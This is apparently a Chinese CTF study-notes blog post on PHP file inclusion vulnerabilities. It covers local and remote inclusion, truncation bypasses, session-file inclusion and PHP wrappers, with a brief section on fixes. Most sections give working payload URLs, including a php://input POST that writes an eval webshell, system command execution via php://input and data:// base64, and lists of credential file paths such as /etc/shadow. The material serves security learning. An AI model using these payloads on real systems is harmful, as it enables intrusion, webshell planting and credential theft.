前言
起來吃完早飯就開始刷攻防世界的題,一個簡單的文件包含題我竟然都做不出來我服了 拿出買的書開始從頭學習總結文件包含漏洞!
一、文件包含漏洞
文件包含漏洞
文件包含函數的參數沒有經過過濾或者嚴格的定義,並且參數可以被用戶控制,這樣就可能包含非預期文件。如果文件中存在惡意代碼,無論文件是什么類型,文件內的惡意代碼都會被解析並執行。
文件包含漏洞肯能會造成服務器網頁被篡改、網站被掛馬、服務器被遠程控制、被安裝后門等危害。
常見的文件包含函數:
1.include() 包含並運行制定文件。在出錯時產生警告(E_WARNING),基本會繼續運行。
2.include_once() 在腳本執行期間包含並運行制定文件。與include區別:檢查是否被包含過,如果是則不會再次包含。
3.require()包含並運行指定文件。require在出錯時產生E_COMPLE_ERROR幾倍錯誤,腳本中止運行
4.require_once() 基本完全與require相同 與require區別:檢查是否被包含過,如果是則不會再次包含。
漏洞示例代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
以上代碼,對$_GET[‘filename’]參數沒有經過嚴格的過濾,直接帶入了include()函數,攻擊者可以修改$_GET[‘filename’]的值,加載其他文件,執行非預期的操作,由此造成了文件包含漏洞;
我們在后面加上我們當前目錄的文件1.txt 即可讀取1.txt的內容顯示出來
二、無限制本地文件包含漏洞
無限制本地文件包含漏洞
無限制本地文件包含漏洞是指代碼中沒有為包含文件制定特定前綴或者.php、.html等擴展名,因此攻擊者可以利用文件包含漏洞讀取操作系統中的其他文件,獲取敏感信息,或者執行其他文件中的代碼。
常見的敏感信息路徑
Windows
c:\boot.ini // 查看系統版本
c:\XX\httpd.conf Apache配置信息
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
c:\windows\php.ini // php 配置信息
Linux/Unix
/etc/passwd 賬戶信息
/etc/shadow 賬戶密碼文件
/etc/httpd/conf/httpd.conf Apache配置文件
/etc/my.conf mysql 配置文件
/usr/local/app/apache2/conf/httpd.conf Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虛擬網站配置
/usr/local/app/php5/lib/php.ini PHP相關配置
無限制本地文件包含漏洞示例:
<?php $filename = $_GET['filename']; include($filename); ?>
利用漏洞讀取Mysql配置信息
payload:
http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini
利用無限制本地包含漏洞執行代碼
三、有限制本地文件包含漏洞
簡介:
有限制本地文件包含漏洞是指代碼中為包含文件制定了特定的前綴或者.php、.html等擴展名,攻擊者需要繞過前綴或者擴展名過濾,才能利用文件包含漏洞讀取操作系統中的其他文件,獲取敏感信息。常見的有限制本地文件包含過濾繞過的方式主要:有%00截斷文件包含、路徑長度截斷文件包含、點號截斷文件包含這三種
測試代碼:
<?php $filename = $_GET['filename']; include($filename,".html"); ?>
1.%00截斷
%00會被認為是結束符,后面的數據會被直接忽略,導致擴展名截斷。攻擊者可以利用這個漏洞繞過擴展名過濾
漏洞利用條件:
(1) magic_quotes_gpc=off
(2) PHP<5.3.4
測試結果;
Payload: http://127.0.0.1/test.php?filename=xiaohua.txt%00
通過%00截斷了后面的.html擴展名過濾,成功讀取了xiaohua.txt文件的內容
2.路徑長度截斷文件包含
操作系統存在最大路徑長度的限制。可以輸入超過最大路徑長度的目錄,這樣系統就會將后面的路徑丟棄,導致擴展名截斷
漏洞利用條件
Windows下目錄的最大路徑256B
Linux下目錄的最大路徑長度為4096B
測試payload:
執行完成后成功截斷后面的.html擴展名,包含了xiaohua.txt文件
3.點號階段文件包含
點號截斷適用於Windows系統,當點號的長度大於256B時,就可以造成擴展名截斷。
測試payload:
http://127.0.0.1/test.php?filename=xiaohua.txt....................................................................................................................................................................................................................................................................
成功使用.號截斷后面的.html擴展名,包含了我們想要的文件。
四、Session文件包含
定義:
當可以獲取Session文件的路徑並且Session文件的內容可控時,就可以通過包含Session內容可控。
利用條件:
1. Session的存儲位置可以獲取
2. Session內容可控
(1) 通過phpinfo的信息獲取session的存儲位置
Phpinfo中的session.save_path保存的是Session的存儲位置。通過phpinfo的信息獲取session.save_path為/var/lib/php。
<?php session_start(); $ctfs = $_GET['ctfs']; $_SESSION['username']=$ctfs; ?>
此代碼的$ctfs變量的值可以通過GET型ctfs參數傳入。PHP代碼將會獲得GET型ctfs變量的值存入Session中。攻擊者可以利用GET型ctfs參數將而已代碼寫入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系統中傳入惡意代
碼。
漏洞利用payload:
http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?> 將php語句寫入session中
http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件
session文件名(真正的文件名默認都有個前綴就是sess_)
五、遠程文件包含
一、無限制遠程文件包含
無限制遠程文件包含是指文件的位置並不是本地服務器,而是通過URL形式包含其他服務器上的文件,執行文件中的惡意代碼。
漏洞利用條件:
(1) allow_url_fopen=on
(2) allow_url_include=on
漏洞代碼
<?php $filename = $_GET['filename']; include($filename); ?>
Payload:
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt
包含在xiaohua.txt中的PHP代碼通過遠程文件包含被成功當成PHP代碼解析。
二、有限制遠程文件包含
有限制遠程文件包含是指當代嗎中存在特定的前綴或者.php、.html等擴展名過濾時,攻擊者僅需要繞過前綴或者擴展名過濾,才能執行遠程URL中惡意代碼。
漏洞代碼:
<?php $filename = $_GET['filename']; include($filename.”.html”); ?>
1. 問號繞過
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?
2. #號繞過
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#號要編碼)
3. 空格繞過
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url編碼)
FUZZ可以大量檢測
六、PHP偽協議
PHP帶了很多內置URL風格的封裝協議,可用於fopen、copy、file_exists和filesize等文件系統函數。除了這些內置封裝協議,還能通過stream_wrapper_register注冊自定義的封裝協議。這些協議都被稱為偽協議。
File:// ——訪問本地文件系統
http:// ——訪問HTTP(s)網址
ftp:// ——訪問FTP(s)URLs
php:// 訪問各個輸入/輸出流(I/o streams)
zlib:// 壓縮流
data:// 讀取數據(RFC2397)
glob:// 查找匹配的文件路徑模式
phar:// PHP歸檔
ssh2:// Secure Sheel2
rar:// RAR
ogg:// 音頻流
expect:// 處理交互式的流
php://偽協議
php://偽協議是PHP提供的一些輸入輸出流訪問功能,允許訪問PHP的輸入輸出流,標准輸入輸出和錯誤描述符,內存中、磁盤備份的臨時文件流,以及可以操作其他讀取和寫入文件資源的過濾器。
1. php://filter
php://filter 是元封裝器,設計用於數據流打開時的篩選過濾應用,對本地磁盤文件進行讀寫。
漏洞利用條件:
利用php:filter讀本地磁盤文件時不需要開啟allow_url_fopen和allow_url_include
用法:
(1):filename=php://filter/read=convert.base64-encode/resource=xx.php (2):filename=php://filter/convert.base64-encode/resource=xxx.php
參數:
Resource=<要過濾的數據流> 必需
read=<讀鏈的篩選列表> 可選
write=<寫鏈的篩選器列表> 可選
漏洞代碼:
<?php $filename = $_GET['filename']; include($filename); ?>
Pyload:
http://127.0.0.1/test.php?filename=php://filter/read=convert.base64-encode/resource=test.php
利用php://filter獲取了test.php文件的Base64編碼
2. php://input
php://input可以訪問請求的原始數據的只讀流,即可以直接讀取POST上沒有經過解析的原始數據,但是使用enctype=”multipart/form-data”的時候php://input是無效的。
(1):讀取POST數據
利用條件:
示例代碼:
<?php echo file_get_contents("php://input") ?>
上面代碼輸出file_get_contents函數獲取的php://input數據。測試傳入POST數據 字符串xiaohua最終輸出該字符串 。php://input可以獲取POST傳入的樹
(2)寫入木馬
利用環境:
需要開啟allow_url_include=on
漏洞代碼:
<?php $filename=$_GET['filename']; include($filename); ?>
Payload:
URL: http://192.168.1.110/test.php?filename=php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[xiaohua])>')?>
通過php://input執行后成功在網站根目錄創建了shell.php
(3) 執行命令
根寫入木馬漏洞代碼操作基本類似知識post部分需要改
Post:<?php system(‘whoami’);?>
url: http://192.168.1.110/test.php?filename=php://input
3. file://偽協議
file://偽協議可以訪問本地文件系統,讀取文件的內容
示例代碼:
<?php $filename=$_GET['filename']; include($filename); ?>
Payload:
http://192.168.1.110/test.php?filename=file://C:\phpStudy\PHPTutorial\WWW\xiaohua.txt
4. data://偽協議
php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼
利用環境:
allow_url_include=on
allow_url_fopen=on
使用方法:
data://text/plain;base64,xxxx(base64編碼后的數據)
代碼示例
<?php $filename=$_GET['filename']; include($filename); ?>
對<?php system("dir")?>進行base64編碼
PD9waHAgc3lzdGVtKCJkaXIiKT8+ 最后有個+號進行url編碼+=%2b
最終payload:
http://192.168.1.110/test.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b
5. phar://偽協議
phar://是用來進行解壓的偽協議,phar://參數中的文件不管是什么擴展名,都會被當做壓縮包
利用環境
PHP>5.3.0
Allow_url_include=on
Allow_url_fopen=on
示例代碼:
<?php $filename=$_GET['filename']; include($filename); ?>
用法:
?file=phar://壓縮包/內部文件->phar://xxx.png/shell.php
壓縮包要用zip://偽協議壓縮,而不能用rar://偽協議
新建xiaohua.txt里面包含惡意代碼壓縮為xiaohua.zip 或者壓縮完改后綴jpg上傳 然后執行
Payload:http://127.0.0.1/test.php?filename=phar://xiaohua.jpg/xiaohua.txt
6. zip://偽協議
zip://偽協議和phar://偽協議在原理上類似,用法不一樣
利用環境
PHP>5.3.0
Allow_url_include=on
Allow_url_fopen=on
示例代碼:
<?php $filename=$_GET['filename']; include($filename); ?>
用法:
?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名]
Eg:zip://xxx.png#shell.php
Payload: 192.168.1.110/test.php?filename=zip//shell.png:shell.php
新建xiaohua.txt里面包含惡意代碼壓縮為xiaohua.zip 或者壓縮完改后綴上傳 然后執行
Payload:http://127.0.0.1/test.php?filename=zip://C:\phpStudy\PHPTutorial\WWW\xiaohua.zip%23xiaohua.txt
7. expect://偽協議
expect://偽協議主要用來執行系統命令,但是需要安裝擴展
用法:?file=expect://ls
文件包含漏洞修復
- 代碼層修復
進行文件過濾,將包含的參數設置為白名單即可
2. 服務器安全配置
(1) 修改PHP配置文件,將open_basedir的值設置為可以包含特定目錄后面要加/
Eg:open_basedir=/var/www/html
(2) 修改PHP的配置文件,關閉allow_ur_include 可以防止遠程文件包含
PHP官方手冊:https://www.php.net/manual/en/wrappers.php.php
參考學習:<<web安全原理分析與實踐>>